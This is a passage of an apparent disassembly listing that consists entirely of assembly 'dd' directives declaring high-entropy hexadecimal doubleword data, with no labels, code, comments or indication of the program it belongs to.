		dd 19846650h, 0AEF3C148h, 9A9C59A9h, 7E444B4Fh,	4F4F4A90h
		dd 4758F248h, 0AD70A2ADh, 8EFD40FDh, 0C9BA7CBCh, 4A168EDCh
		dd 6347DC64h, 8507479Ch, 91EC88ECh, 5A8597A2h, 53255BC7h
		dd 0A7B8352Ah, 4260D350h, 6983D762h, 6227A9B8h,	3E4A06F8h
		dd 4ABA5085h, 5A63D7B2h, 5259AC6h, 0EC707893h, 0AAEDE794h
		dd 1BF86F4Eh, 19362CCh,	0EE2F1E12h, 79E5A828h, 0E998B168h
		dd 62FAA764h, 0A5FF5C8Bh, 28886640h, 7822640h, 9EEB67FDh
		dd 38D3BB59h, 55B7C07Fh, 2FF5A89h, 9D2ADA86h, 1C4221EDh
		dd 6CB4D060h, 0A7DEB0AAh, 5B5B69AAh, 0F1B68DEFh, 0FDCFB80Dh
		dd 0E46EA29Ah, 1103EA82h, 0BD3AA55Dh, 656F18Bh,	0DBB14451h
		dd 81EAB4C5h, 2AC3F2DFh, 6EDA2D57h, 5B163B14h, 703325h
		dd 0A5AB3854h, 3C8D0D0Bh, 4F3D290Ch, 127C9679h,	0B63EB15h
		dd 0EF8162AEh, 92F8FE85h, 3E6E913Ch, 0C2A58080h, 3765A89Ah
		dd 0C7978CFDh, 5922D386h, 0B4B0631Ch, 3F55615Ch, 66D6EAF3h
		dd 0F4CACA67h, 9ABE509Dh, 312583Fh, 65A99ECDh, 6F68F0BCh
		dd 6E8050E6h, 3FBE0A54h, 3E037859h, 67A248A4h, 0C2399DCDh
		dd 6CF84EB9h, 0E8FA665h, 5A9754DCh, 63557D68h, 676174C8h
		dd 0E20BBA4Eh, 46E83F3Dh, 0BF619471h, 0A54992F3h, 0C0C23CE9h
		dd 0ACAECDFEh, 0EE007F95h, 2FA909E8h, 311865A0h, 0A94D7EE3h
		dd 17A86C10h, 7117BFCFh, 0A9DAF75Ah, 0F903C11Ah, 17739C42h
		dd 0E6BC75CFh, 0D3EE8925h, 53B2A535h, 80A48D16h, 0F2F4817Ah
		dd 340822BEh, 0B9C1E57Fh, 949BF38Dh, 7ADD68EEh,	0C759757Fh
		dd 19EC2E29h, 65396D2h,	0AE4755C9h, 22D3434Eh, 0E3F42B7Eh
		dd 7FD9F0CAh, 1D7C5873h, 40266621h, 48783B99h, 155EA568h
		dd 3B8BB692h, 0DDB05943h, 0E231CBD9h, 0FE4EBF16h, 38F5A24h
		dd 6BF6C610h, 9DC69F54h, 76447621h, 964C94Ah, 6D040EBFh
		dd 0C49BC94Bh, 47D6FD11h, 0E28B15BEh, 3B4FCFC3h, 23C96631h
		dd 5260D26Ah, 0FB85E534h, 4B5BE94Ah, 0E74D3415h, 8DD4E1AAh
		dd 8802B056h, 156F4B67h, 180C7E4Bh, 9884FF1Eh, 85C098FEh
		dd 0E93E41C8h, 0F8CC0099h, 275B6D36h, 272AE830h, 505E29FFh
		dd 30F14D00h, 3CAE0777h, 98C88A03h, 9E5F731Dh, 49F651B9h
		dd 0CEE7449Fh, 0F62168C1h, 0B38DD30Fh, 0F1DA219h, 0B82DCEDFh
		dd 77A4B295h, 0A04CB31Eh, 0BA139F39h, 385C776Ch, 0EA804C8Dh
		dd 0FC032428h, 0BBA30508h, 4D58EFD3h, 0D4BF5978h, 537E7DF2h
		dd 0A32DB39Ah, 0E525B428h, 4C6A7DAEh, 8FA9AD04h, 19D53DD7h
		dd 28BE66EDh, 498D88A8h, 6657EAF9h, 12FF800Ah, 0D7EF689Fh
		dd 915C3F21h, 0DBEBC9BEh, 3057FDB9h, 909A83Ah, 6B908A3Fh
		dd 23647D7Dh, 16752080h, 367A4240h, 6A5EAD0Dh, 6C588AF9h
		dd 0CA9DF691h, 79D001E0h, 131DC369h, 9254C6DFh,	0E9945C44h
		dd 0E5D5003h, 7DD72048h, 5A48B74Bh, 0FBDC4F03h,	6D60E6AEh
		dd 54FC9D67h, 0C9C1FB28h, 0A879A1C7h, 999D96D1h, 0F0ECCF9Ch
		dd 2474BAFCh, 90F29872h, 63F2D9E1h, 88CE04CCh, 0F948180Dh
		dd 75715D39h, 0AC56CDE1h, 9625ED2Fh, 993B4CC7h,	79AAD6A0h
		dd 44FFF1AEh, 4F59176Dh, 0E1F383D9h, 0D4C322D9h, 33A5EB3Fh
		dd 362AF724h, 2C756B58h, 0F0D4655Fh, 0B578BEA9h, 12F31EF0h
		dd 51ABA7A3h, 0B8FC828Eh, 0BE9A3590h, 1B43B373h, 0E33B723Ch
		dd 646EBAE7h, 190E1A47h, 0D88D033Bh, 92B71561h,	0D093413Ah
		dd 0CD02087Bh, 0D5D48E29h, 23A70A8Fh, 7ECB31BFh, 17AD4B28h
		dd 0DEDE4416h, 0A805EB20h, 7666B17h, 2CA398E9h,	0C9D99BA9h
		dd 98368253h, 0E23038Eh, 0C05E9C64h, 7C8EBFA8h,	0BD3DF298h
		dd 1457A0E8h, 97168FCDh, 1D859356h, 0F3711274h,	6517E087h
		dd 247FDBFh, 70B4F12h, 0A66A9D44h, 42262B17h, 0E2DD66D5h
		dd 76EB45B9h, 5F01AA6Fh, 8EE04E13h, 0E1F443C2h,	7AAE4DB8h
		dd 74E67B31h, 7A73C96Bh, 9046F6AAh, 9BBC56A4h, 717871FFh
		dd 0CEBCC151h, 384589EFh, 0E3B61AF6h, 700CD07h,	27398B6Dh
		dd 398B111Dh, 0CC8E6C69h, 735A35A3h, 0B532CBE6h, 561BB147h
		dd 36683890h, 16AD71EAh, 0AB56D0F3h, 3AEBA8FAh,	7649656Fh
		dd 498B346Fh, 70494C81h, 0BFCB95E1h, 1EFBD478h,	737DA432h
		dd 0E2C960E9h, 2D619100h, 0FC23A96Dh, 0AE087199h, 7F601ACh
		dd 0B090B68Ah, 0E7E8FC59h, 91A30DFCh, 78614EA9h, 0EB916356h
		dd 9BF31B4Dh, 0E635B708h, 4888DE92h, 6E0FA8CDh,	2F0F5054h
		dd 1A2896CAh, 0B9042AC9h, 74A374DEh, 928635E9h,	3B9E40E4h
		dd 0D59464E3h, 28898166h, 355A74Bh, 0D5B00FB3h,	0CBCE0727h
		dd 0AA0C34AEh, 0BD3869D1h
		dd 2C250644h, 8E714C83h, 0D43192DCh, 4F9440EBh,	0E9FFD760h
		dd 1C80F90Eh, 0A5FD31AEh, 98178EABh, 0F040603Eh, 0E13B345Dh
		dd 51071B2Eh, 7B45CF32h, 52A771C7h, 9D54B1B3h, 584C72B8h
		dd 1F0F230Ah, 6AC21B38h, 57F8B10Fh, 1B69FF21h, 2734C99Ah
		dd 818AAFE8h, 1CFB30FEh, 43C4D063h, 0E1EEC014h,	642F40CEh
		dd 74BD40A2h, 4D005D60h, 573E3BB4h, 89149290h, 0F3A09A2Bh
		dd 0E816FBB9h, 5B01297h, 11514898h, 9C2E9076h, 15594F6Bh
		dd 62C80161h, 27F9DC00h, 16BBB5E7h, 3B3531Bh, 2B73FD6Bh
		dd 800613FBh, 1EA42A8Fh, 4C0B3EEDh, 17AD2C66h, 0C683210Ah
		dd 120CA083h, 1F486DB3h, 0B3606590h, 0A82243E2h, 0C1AEDFC8h
		dd 9D5E906Dh, 8D89F834h, 96502C1Fh, 9B14910Eh, 18D3735Ch
		dd 99927A48h, 2E936FE9h, 5A3DCB40h, 39147D27h, 23B3168Eh
		dd 0ED143083h, 0AE4EDB84h, 0A14245AFh, 4AAE3036h, 0CA243B30h
		dd 0E3D4A0E7h, 6EADDDD7h, 5351E406h, 685F9198h,	0B8DC6360h
		dd 0A8350B49h, 1E67EAB9h, 0C2065907h, 7C822B9Ch, 0FAFFBA65h
		dd 0B9603CF5h, 3A798B36h, 0D3EE45B1h, 778D6BEAh, 4F3B5E2Ch
		dd 7910A5D4h, 615E9A6Ch, 9998A436h, 5FFFE18Dh, 486F60A5h
		dd 30AFC51h, 84BCF096h,	0FD95EFEh, 0E1E9D13h, 0D50EA5CDh
		dd 0A47B527Bh, 0FDA045CDh, 0B8A60406h, 4D13E68h, 206B5766h
		dd 6B29B37h, 81BA7732h,	5E9C616Ch, 0D3CDBDA7h, 2FF6363Fh
		dd 6AA3574Fh, 8F17E9FAh, 4B4C5F07h, 0BFBA4570h,	1F1F7860h
		dd 0B27E5EE3h, 9741B1B4h, 30F41F2Ah, 14E6129Ah,	904943CAh
		dd 41D565A8h, 912C85ECh, 5C9DB77Bh, 6975860Eh, 0DC913FDh
		dd 0B6382168h, 0FD3077D7h, 8B3D97CAh, 387545E9h, 2725E230h
		dd 46766A49h, 59F41F86h, 28E37C36h, 7FF9A7A7h, 390FECCCh
		dd 3559A672h, 138A8A5Dh, 0D20A4B60h, 9309EB87h,	0D1C206A4h
		dd 3CA80ECh, 55E1F510h,	766F8DD7h, 9ADBD99Eh, 5DCADAFEh
		dd 0E2AEEB1Dh, 0C059F73Ch, 0DF58159Fh, 5FF1FBA7h, 0EFD8B555h
		dd 8629686Fh, 8C053F65h, 0CA94A0B4h, 638C4A59h,	59985049h
		dd 0D35C6AEEh, 508F09DDh, 28EE2ED6h, 0D05EBB1h,	3B5DFD71h
		dd 0E733DC43h, 4CCD234Fh, 0D646897Dh, 53057251h, 1DC89647h
		dd 0D745B431h, 0C31D41F5h, 0AC597CF5h, 0B1D7EE70h, 2DB9F37h
		dd 921E742Eh, 0A1BED2CCh, 9B97F8D6h, 78459BFDh,	0A4EB9EE6h
		dd 5C27AC5Dh, 0B7AE2Fh,	0A9DE5BFBh, 6244CD6Ch, 3499A6F3h
		dd 64460573h, 159047Bh,	877B6295h, 0D8CF45C0h, 29D25472h
		dd 28CD8EBh, 0FEC2A6EDh, 0CAAE9590h, 0FFBCB68Dh, 0D5BC0241h
		dd 0C7698B5Ah, 9BFC9AACh, 45EA89D8h, 0EC4FB8DBh, 65432114h
		dd 0A886B988h, 6C586ED5h, 0BA33B19Fh, 69D65A16h, 0F940BC4Ch
		dd 54BA5FF2h, 784B0869h, 0A7799BB1h, 5A55B711h,	0B0B6E819h
		dd 606D1704h, 0CCEC4E5Eh, 1948709Bh, 0C18CA19Fh, 0C7558515h
		dd 0F4B015A2h, 195D98C8h, 0F83BA132h, 21A390B4h, 0F1AC1A6Eh
		dd 0D0B00D67h, 2A0EE2BAh, 0F1C1E96Fh, 594FC203h, 832221BEh
		dd 4C7FC3BAh, 0AB6DB5F3h, 0D4DBE5C4h, 1FC2E7C2h, 5B595127h
		dd 7CAD8AD7h, 0D4459BFEh, 360E73E9h, 0C412F373h, 1E618BDAh
		dd 0C0ACDEBDh, 0F05986F0h, 0FC03EDAEh, 6A36130Eh, 499BB8EBh
		dd 0F12B8407h, 0B953C185h, 0F46993C9h, 0DFE101B3h, 4CEDDFD3h
		dd 0EAE6C95Ch, 0C70CAB8Ch, 363C5326h, 28F06072h, 0FBD04B57h
		dd 0C86E1702h, 3A5B0015h, 64A59E26h, 8E82742Eh,	64479CD3h
		dd 50D8DD5Bh, 0C83966CCh, 9B8F4670h, 0C6BB9660h, 0A7BFA65Bh
		dd 2780F9Ah, 595C84D4h,	2F884B14h, 114176C8h, 873DB710h
		dd 0D0D4A8Eh, 10BF2867h, 0AFF617Fh, 76CECA9Bh, 0DD1B91AEh
		dd 11E0E2FDh, 0D096A245h, 1C73FDEBh, 0FD979Dh, 23BBAC08h
		dd 387CEC63h, 0B8BEDF24h, 0CCDA0339h, 0C1B96883h, 13D89163h
		dd 0FF3F61A5h, 0DC73B973h, 0C33BE78Ah, 0BBA0A8Fh, 4AE514E3h
		dd 4BB6511Ah, 12A20E8Ch, 0BD825318h, 0D23E9964h, 0A0EA82BFh
		dd 82FF567Bh, 0BFEA8E99h, 0EBC4E1Ah, 0A11ADA07h, 0E2E62312h
		dd 1174CD50h, 36235638h, 7163AE48h, 0FC16B1F9h,	0A90A7C67h
		dd 750D4EEDh, 6549C117h, 191957EDh, 0B7BA3602h,	31BFACE6h
		dd 8554E96Ch, 402281DEh, 0FF3095F5h, 4393A1C1h,	438A53AEh
		dd 0E55193B3h, 0D5E8856Dh, 1656E5BBh, 7985A92Fh, 98ABB30h
		dd 1D9A9A4Ah, 69005E39h, 759402E9h, 7B11AEEBh, 0DF080F05h
		dd 0D7A03EA7h, 8D81615Fh, 0C736A21Ah, 3FCBA8A9h, 6168726Fh
		dd 0A5CB7C2Ah, 2B371EB0h, 32A475Bh, 3816D99Eh, 0C8FA34A9h
		dd 9AE163A0h, 3B2AF814h, 1F03FAEh, 0B7DEA235h, 28BFA9A5h
		dd 0DDCFB1BBh, 4D6E72E0h, 6066E1C9h, 359B4D3Eh,	4119F6BFh
		dd 0B0A46E77h, 0CD5B8FB7h, 2DCF5D91h, 0CC48826Ah, 4B00F2A6h
		dd 777C510Eh, 3197F811h, 56F3A37Fh, 437EEDE0h, 20AB9EDFh
		dd 0A9666E7Dh, 0BA790DFDh, 0F7045335h, 6103854Dh, 0CBF888D4h
		dd 918359F5h, 0D441ED68h, 2ED252A3h, 6EC1B12Fh,	0F343910Eh
		dd 86811F36h, 6C8BD841h, 4C270AEEh, 340D151Ah, 0F988ABCBh
		dd 6542FA33h, 2152F327h, 0AC67426h, 17AC79EDh, 0C5FB744Ch
		dd 0CDE41D97h, 82F8163Ah, 71209015h, 30AF6CCDh,	0FFEA2F2Dh
		dd 0E5F6667Eh, 8C6E9008h, 0A255E2FBh, 28376C74h, 628091CBh
		dd 8772614Fh, 0A4A20E34h, 0CAACF630h, 141ECDF4h, 44286E17h
		dd 7B61BFCFh, 8131D460h, 0FC435566h, 8144362Ah,	0FFCED84h
		dd 77256E87h, 14DC8E7Fh, 37B6C87Bh, 0C5EF8E93h,	8DD082FBh
		dd 60764E04h, 15A865Eh,	0DD4D032Bh, 0FBEEAA3h, 35F23B9Eh
		dd 33DA96B7h, 5D6F01F6h, 0A8A6CF23h, 0FADB1F7h,	78A7A40Fh
		dd 0AE132DBCh, 0A70079Eh, 731C9326h, 0CB46EA6Bh, 41B9D32Bh
		dd 6363A5C1h, 433B22CAh, 0FA57BE21h, 0E8A37FD0h, 599CE33Ch
		dd 5A7033DCh, 0C80D42F0h, 0DE7F9364h, 2FBB4338h, 7673201Ch
		dd 8E78AA32h, 0BFFE876Ch, 4D106898h, 9D0C0F73h,	0E7A8C947h
		dd 0CF6AAC98h, 740D9F5Ch, 0F1A3E1D4h, 796FABDCh, 5BEC7A94h
		dd 0CE970CAFh, 5C85F6DDh, 0E68FEE1Ah, 73E5445Ah, 52B0F79Eh
		dd 7B944B29h, 0BDB74C5Dh, 3B72B606h, 40E93AF6h,	14A5F054h
		dd 1A48B073h, 0D2C1340Ah, 0E483B046h, 0DC9374Dh, 0D9D1F4FCh
		dd 576A2295h, 2A118A64h, 4E017DF3h, 6B6C11F0h, 1E8FFC89h
		dd 4120F83Fh, 0C00FC0CFh, 0CFD3CE91h, 2A7852F8h, 4C579C29h
		dd 0DEEF61B7h, 0E5B9C338h, 841FB7C7h, 0A555D88Fh, 0C31BCA91h
		dd 94533375h, 32C7DE3h,	9DE63F1h, 8342B1E2h, 43B26168h
		dd 21BDAADCh, 5F3B39FEh, 0D95B8151h, 6E33C43h, 0DF94CC62h
		dd 0D332651h, 976749A7h, 1E05F1B9h, 7335C3CDh, 0C8DA609h
		dd 6A855E5Dh, 2D33EE14h, 4111FAA7h, 60580A77h, 6BDECC6h
		dd 84709CFEh, 0B6666BE0h, 327D4971h, 4351532Ah,	2124EDF3h
		dd 932637B6h, 0A083E64Ah, 5E313C7Bh, 7231BA71h,	0FDB956E2h
		dd 6B7000C4h, 0F245C26Fh, 0B2B9B3C2h, 0D9570D91h, 65373DACh
		dd 36C0AD54h, 390EC8FFh, 0FE61FEEBh, 0CDD13FDh,	6A3237DCh
		dd 0DAC5A2A6h, 356C160Ah, 0FC037FFEh, 8F3F54C6h, 896C5334h
		dd 0ECA002B5h, 0E041A113h, 953DBC8Bh, 0D718AA3Eh, 2689CFDBh
		dd 7C2B9194h, 2A31A7D0h, 67ABC77Ch, 0D05E1D04h,	0D5CAD076h
		dd 52B3B99Fh, 0DD07D2F6h, 20AB5CBBh, 81F4ADFAh,	9358143Dh
		dd 0C7F1E455h, 0F7B559A0h, 0DD719DBEh, 79423579h, 57F00CEFh
		dd 0E9F89374h, 0CCAC5019h
		dd 0F0684758h, 6365B9B4h, 0F9F4DE61h, 0DD8065CDh, 6F32E50Fh
		dd 49EB4596h, 5B046857h, 279DE3Fh, 0FF2CF779h, 0F5A8AF6Dh
		dd 2B9B73F5h, 0B137C864h, 0D26345C6h, 0A47821EAh, 12D0BB28h
		dd 10A159FEh, 3634FE0h,	5C01B97Bh, 9DFFBEDh, 0E8BD4FF2h
		dd 4DFDE949h, 0D5595F78h, 0F2E9708Bh, 72E1D357h, 47948559h
		dd 0C800EF22h, 13B2E389h, 3FCEE00Ah, 5242BB8Ch,	40E34414h
		dd 0A232CC97h, 715F9A2Dh, 0B255082Ah, 7E55E796h, 0F2AF928Fh
		dd 0FF5AB871h, 52D4960Eh, 0B15EC105h, 0D1B5D4A6h, 0AD356C79h
		dd 0F97B4E1h, 5FC05D89h, 0EB7B69D0h, 2C9A5DAFh,	0D2520118h
		dd 0CF5E418h, 1D420A19h, 0DFCB576Ah, 0BF61A8C8h, 33C65772h
		dd 2B7B6060h, 0DA20C35h, 0AEA38458h, 8BE42ECFh,	6D10C10Eh
		dd 77BAD9C6h, 0ECD31A9Ch, 5BB99E3Ch, 21B29A02h,	0DE9766D9h
		dd 0E1F619E5h, 0D4F173D5h, 0AAFEA962h, 587BA6DCh, 64E3FA6Bh
		dd 0C6B5ACC0h, 0E46B3C17h, 0B8F519C6h, 0D8E22F53h, 0A9E4377Bh
		dd 0A28F93BEh, 0B765A7BEh, 0E66CADE1h, 918E042Eh, 0CAA21826h
		dd 5782CB3Fh, 4C84F90Fh, 5459C583h, 0A96FBD83h,	1206226Eh
		dd 0A1AAA4F2h, 7179EEDDh, 3AC547D4h, 3CEEB3D2h,	2946AF2Bh
		dd 8405EE18h, 742FC863h, 0FE333A33h, 2A90E57Eh,	28E4DEAAh
		dd 91BDC016h, 67C37F4Ah, 0B2AD2046h, 8954D0FAh,	0C4C47362h
		dd 7F1C744Ah, 0EC23CD33h, 2E67DBBFh, 656490BAh,	0AA97EAF1h
		dd 0FF55ECC4h, 6873FD47h, 91CBF8B8h, 838751BBh,	0C9D4EEBBh
		dd 51C40B20h, 869AA2D7h, 67848D0h, 8419E520h, 3351A3C2h
		dd 85A085DCh, 0CFEE1F8Fh, 3F4DC39Fh, 0FFD79861h, 6C667AA4h
		dd 0DCAAAD12h, 9C3E1CD3h, 5895Dh, 183B631Fh, 82B344DBh
		dd 5B266A1Fh, 46522D5Bh, 3A32D49Dh, 0D8C3C32h, 0EC2E8296h
		dd 0DD59F4Ch, 0C0962824h, 1B0B2E25h, 9410B54Fh,	6667B7D9h
		dd 30746F8Ch, 0D5089FBCh, 0A811C209h, 0BDF75FD2h, 0D74F11FDh
		dd 5315E686h, 9B9A16A7h, 949F21AAh, 0E6CE7F52h,	8BAC8460h
		dd 0EBB47632h, 0F213BCE8h, 26B846BFh, 5E16B854h, 0BE37821Bh
		dd 0FC43551Dh, 9946C303h, 0B2E36C5Ah, 0F763B9B7h, 0DCEA0861h
		dd 4B34C034h, 24DA29C1h, 2BCBE585h, 33E56068h, 0D832622Ah
		dd 0BDD3A253h, 6D9F393Fh, 0BC4F18D0h, 0FF6339B5h, 0EF7F0A5h
		dd 0B14B9BC5h, 8101A842h, 9A292014h, 98FF0677h,	0AA33BD3Ch
		dd 233A5BD5h, 0F5C7E42Ch, 40A4912Eh, 0E56583BDh, 8DDAA784h
		dd 0D6ECB01Bh, 35929043h, 7D7F3B3Fh, 0FA56A9C4h, 814FEC2Bh
		dd 0DD6FC20h, 4151A3CEh, 9E8010B2h, 17795D90h, 0C54B2FEAh
		dd 0AF6985F8h, 0C1F0F6E3h, 1526C4C3h, 0A89D98BBh, 6807C802h
		dd 0B076B424h, 0DD9AB415h, 0EAF778Ah, 4BEB9195h, 8736C70Eh
		dd 0CD173ACCh, 5BEB13F7h, 6026394Bh, 0E9B6CABFh, 0D94CA667h
		dd 5CCBC19Bh, 731C8C5Dh, 0D3485507h, 63437BCh, 13375CB0h
		dd 179C413Dh, 7E6C482Dh, 245252EEh, 0BDC9FC93h,	0C5BB1701h
		dd 24F5B665h, 359F8981h, 0BEA9BC3Eh, 0A43A10FFh, 0BAD8295Ch
		dd 5A8F41FEh, 0C44AC176h, 8D0CF557h, 0CDE72921h, 7598CCA7h
		dd 0D9C776D6h, 0E5253161h, 0FB4F627Fh, 0D746C43Ch, 64AE38C1h
		dd 0A83C0E03h, 5555161h, 0B5CF7CA9h, 483244CBh,	0F193470Ch
		dd 0E87741BDh, 702A11ACh, 0EA043571h, 7962773Eh, 0F403CE86h
		dd 569F5EB2h, 7BADF466h, 0B1F308Bh, 3E21FCD4h, 480677B8h
		dd 8C7E3134h, 0B4A99588h, 51AE6D41h, 739B45A2h,	19F4CCDEh
		dd 60120027h, 2F352D31h, 0E5CD4EE8h, 3D56B1F1h,	0C4961AE8h
		dd 0AF6891FFh, 0BB250767h, 0B9E39B5Ch, 0DA43A864h, 5FB9E92Dh
		dd 29E3C7B3h, 0C3848B38h, 0BCB9217h, 29596F5Fh,	6C1D8B87h
		dd 0F30D8E0Fh, 50D7E28Eh, 7D41568Fh, 16036D0Ch,	0E3C95483h
		dd 62BDB382h, 7CCF853Fh, 0A01AFCA5h, 9FB58987h,	873A544Eh
		dd 0F67CE954h, 2A615E1Ah, 2F906727h, 0DF7801A2h, 442A82EFh
		dd 4DC6C215h, 0AA67E7C1h, 5CEF4F22h, 0E3877C35h, 50E45B1h
		dd 0D15D5423h, 59DB7009h, 0BE11135Eh, 0F0EBB984h, 0D8BB6297h
		dd 9E78857Bh, 0CD28FC93h, 9FD0DB0Bh, 0F80A19BAh, 0A56840C4h
		dd 3AD24CB4h, 1E4C3127h, 224C07CFh, 80AA4B93h, 0B5AD85AEh
		dd 0F47CB375h, 2F357B84h, 4252EC8Ah, 6B3D3246h,	549A5D99h
		dd 0ACD0182Fh, 31EDBEB7h, 1C697934h, 58D5203Bh,	9D18DE2Dh
		dd 0D99EDC8Eh, 0EB7B4C8Bh, 8423E720h, 0D7867773h, 42F0840Bh
		dd 1C7749C9h, 12972AAFh, 5A46A48h, 0FCB3EF2Dh, 11AB121Dh
		dd 0B97BD6FCh, 6C5C9756h, 0A221F66Ch, 9CCC605Eh, 8D109800h
		dd 5A3A697Ch, 6B9E88EAh, 0EDF0005Bh, 2ED56065h,	0D5575119h
		dd 0EBB19814h, 14979218h, 387DB675h, 0C9374979h, 65FEBCC9h
		dd 0E44F6AD2h, 0E4319A3Eh, 0EE165EE5h, 7F0FDAF6h, 3E4291EBh
		dd 76980B47h, 0E0CCD380h, 0C0400E90h, 5E8DADB8h, 3AD3F8F8h
		dd 80D1F27Eh, 8F7A8ED2h, 22E8F105h, 0BC79C7ECh,	19D58CEBh
		dd 54F2E91Ah, 327D3B3Eh, 0BAEEC65Ch, 688A4F59h,	2E5F6353h
		dd 0DFE79227h, 71E08027h, 0FABEAF19h, 0DE51B982h, 0FDAF848Ah
		dd 8A1B6826h, 0D84B9539h, 0EBD3E9ACh, 60D8A529h, 7E3DD21Dh
		dd 5335C35Ch, 2D84457Ch, 0F130C48Eh, 0A8E26E24h, 54CBFF77h
		dd 0B0D9CE80h, 0B5A5364Fh, 4964EE02h, 0D8C7DE9Eh, 53E6F707h
		dd 0B449B270h, 5E907EBCh, 0B014E6C2h, 1BF78DBBh, 71E8173Ch
		dd 79D6C95Fh, 23C2797Fh, 970AC3DCh, 46E9E5E5h, 0F5369C1Fh
		dd 62A1A441h, 793058E5h, 1124127h, 0E3086068h, 4606379Ah
		dd 7C62CC65h, 0AE7E6C90h, 0C1C13E2Ch, 0C66AFCDBh, 0FD86B2CAh
		dd 17B072BBh, 0CC398777h, 9029A236h, 0B63F033h,	6170B614h
		dd 0FF5599CAh, 0B76524F7h, 0C3DC95D1h, 0F3128C32h, 0AD642AAAh
		dd 0EA0835ABh, 5310EEF2h, 35DA5651h, 942928FBh,	0A328C9ECh
		dd 9F478677h, 0DE21DBC4h, 2621A20Ah, 0D878D9F7h, 47FBA9BFh
		dd 79094F46h, 30B6F17Ah, 0DA991D9Fh, 0BBCAD389h, 0FF38A6CBh
		dd 0E6085F9Ch, 6D7ADF3h, 2640C437h, 86F63F06h, 0BFA030A3h
		dd 0D00BDF73h, 3C21D17Dh, 660EEEEBh, 1FC17758h,	0BC2B74B0h
		dd 13F81190h, 6A5B85CFh, 4BDCCF87h, 10EC43F1h, 88B1FE0Ah
		dd 5F32AB52h, 4E98243Fh, 399E2A7Eh, 0BCBDDCC2h,	21309E1h
		dd 86B5C2B5h, 0EE56CA73h, 65B2B918h, 85E5B306h,	0EDA093A6h
		dd 0CFBECFC4h, 0E2ED0524h, 0B99E904Dh, 6EF4EA9Bh, 3E89A99Dh
		dd 0CD23F0CFh, 0AB8BF4C5h, 4ADF136Fh, 0E6D7C9C2h, 187E034Fh
		dd 681E47Ch, 9D7CE546h,	84D3CAB4h, 0C796C0B7h, 0B5DF9506h
		dd 4D87382Ah, 607429F2h, 8FF8B61h, 1649A6C3h, 2D5ED72Eh
		dd 23AAACFCh, 0EFE67B7Dh, 5596EBC1h, 0E6E8C810h, 0DCDCBA46h
		dd 2D652725h, 0DC841533h, 7AFA0503h, 0A27BCE7Eh, 615E966Fh
		dd 862CD376h, 496413E8h, 6A72A736h, 50F100F7h, 0A451A7C5h
		dd 22A931CCh, 0E6E7C9BFh, 0B344D42Ah, 662FC725h, 4259D7F9h
		dd 4C482B7Bh, 1BF235A9h, 43BE0C05h, 0A4960753h,	47CD6367h
		dd 7D9CC153h, 0F69E6473h, 0A770A3EEh, 0E6072CC4h, 830B880Dh
		dd 0DF04D687h, 0A800D728h, 1DB25918h, 946AC9E3h, 9E7DF2EBh
		dd 6D29FEC2h, 0A9C450B2h, 0B8BAE5ADh, 32A6A0A3h, 96162A9Eh
		dd 683393B5h, 0E0E63D43h, 0F97CF966h, 0CBE6C566h, 0D7FBB543h
		dd 76805B82h, 8A74CC4Dh, 1CAF0CD5h, 0EE3CAC4Fh,	0C73F2B5Ah
		dd 212E331Ch, 38891527h, 0D65CD1B6h, 0EDAB1C7Bh, 4FA6B6E2h
		dd 28628981h, 0C67CFA3Dh
		dd 1C04975Ah, 0F9826F54h, 9561D1FDh, 45D017DDh,	0D1AC2F8Dh
		dd 8CE7B51Dh, 0B1F2BD80h, 3F7E7088h, 0EDAA891Ah, 0EC8A3567h
		dd 3CFC8201h, 6FCCA136h, 8D54D00h, 17A1FA4Bh, 0E2C7940Ah
		dd 5F250325h, 0C8611C7Fh, 0F5EF9995h, 6AF50548h, 0F9DA9F7Dh
		dd 569565A8h, 0AD5396CEh, 445A3F9Dh, 83809ED4h,	2E4EF31Bh
		dd 0F2C4A976h, 43F9980Fh, 4A58ACA1h, 6F245B97h,	999FC6E5h
		dd 0BC9B1E3Eh, 9FDB317Bh, 0A0A796D8h, 8F7E060Dh, 0FE63A86Fh
		dd 818FF4CEh, 32D274E3h, 2834D7Dh, 5D9DE0C6h, 89B34884h
		dd 9E37CCCFh, 37E81EAFh, 65A6B5BDh, 5FAB3B8h, 965613A4h
		dd 78412B2h, 1F3411C1h,	3E075BE0h, 38F8CC3Fh, 0E74A367Ch
		dd 39C795A4h, 730029C9h, 645A7CE6h, 957A5A76h, 11539C3Ch
		dd 27435C81h, 72F0D4AFh, 1C20995Eh, 0C0E47C7Fh,	9B494F3Fh
		dd 73AC814Eh, 16BE03EBh, 0EAF2ABB0h, 93CA465Eh,	9B9310B0h
		dd 0D6C1C509h, 7C46417Ch, 0F6280B14h, 3EEC810Eh, 0E82D73BCh
		dd 9CB9365Ah, 462E703Bh, 0FAA17AE9h, 5D2109Dh, 5867BAABh
		dd 2C762008h, 0BA3A4FADh, 8C517B48h, 5038932Dh,	0ACE9D98Dh
		dd 0B38699D6h, 0D503D86Bh, 6B3FF7D3h, 0B87A4768h, 9D76E53Ah
		dd 18EA9299h, 2907084Bh, 73E8E8BDh, 1D9243B5h, 4BD8D399h
		dd 0A03720EDh, 0A0B38494h, 567D4AEEh, 795BC937h, 0B1C738BEh
		dd 0BD701572h, 4DBC2E60h, 0C782CAFFh, 83626C7Ch, 6C3EE8DAh
		dd 0B46B4DFFh, 0F9F572DDh, 4AE8E6C0h, 74C4DE7Ch, 66524973h
		dd 0E1C399CBh, 1B239456h, 54736633h, 0BC3F61C2h, 7AC6F5EBh
		dd 0E81371A9h, 3BC1BE4Eh, 6454C110h, 0D5264B24h, 1F5DA1A6h
		dd 2E94C85Bh, 9D67F30Dh, 51E2F50Eh, 616EF5CFh, 0E9CDC4EDh
		dd 0A0100E7Dh, 0A509CF88h, 0BE43C4ECh, 816E780Dh, 372B831Eh
		dd 3508F894h, 86218EDBh, 0A926E4EFh, 0DCA10472h, 20D4D002h
		dd 0A13B074Dh, 90191B0Ch, 169D53C7h, 7CA8A0A6h,	4B2EAAF1h
		dd 0C67839ACh, 5C2B2B58h, 715602B1h, 22C10145h,	208E981Bh
		dd 7941469Fh, 2498F07Bh, 0E5D1C3F4h, 0E1408781h, 23C1ABC4h
		dd 0BEEAEAE7h, 0F1EC96E1h, 0C1D7F2EDh, 28955453h, 0B7FDA529h
		dd 85598577h, 0A77CD07Eh, 5EA88517h, 0B1F18E0Ch, 0B5D2B6B1h
		dd 961E1B9Ah, 28E5775Ah, 9BE8F9C9h, 6F556395h, 0C11966F5h
		dd 9AA65691h, 3E722A06h, 0F4BF44ABh, 4ECA2C45h,	0BC0B48B2h
		dd 5B57EB94h, 4543C4DCh, 0DF46D640h, 0D41B8BB8h, 0F5113B1Ah
